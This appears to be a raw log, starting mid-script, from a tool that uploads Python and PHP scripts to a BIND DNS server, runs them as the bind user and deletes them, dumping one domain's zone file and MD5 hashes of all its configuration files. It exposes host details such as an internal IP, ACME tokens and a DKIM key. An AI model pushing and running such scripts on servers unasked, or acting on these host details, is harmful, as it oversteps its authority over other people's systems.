				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:03:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp787135; rm /tmp/pkp787135'

2026-02-09 15:03:19: 
2026-02-09 15:03:19: 

PUT: /tmp/pkp626594

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 15:03:19: 

chmod 755 /tmp/pkp626594; /tmp/pkp626594; rm /tmp/pkp626594

2026-02-09 15:03:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	984
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134129862 14400 3600 14400 3600 )
@                        		 IN    A        	10.140.12.84
_acme-challenge           60	 IN    TXT      	"dZJnDT8TgNDzrq7KqJ7jkU_iErAedZqvISXpirn6h00"
_acme-challenge           60	 IN    TXT      	"OMToW-OQ668E6DpFC1RhAWPm-cq4RdC_o_6EqhaYbM0"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                      		 IN    CNAME    	dq-dev0f.ces-us.net






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 6e0e1cd91e9c100ac56c82cc9cbc9b84
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:03:19: Establishing a connection
2026-02-09 15:03:20: 

PUT: /tmp/pkp647119

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:03:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp647119; rm /tmp/pkp647119'

2026-02-09 15:03:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
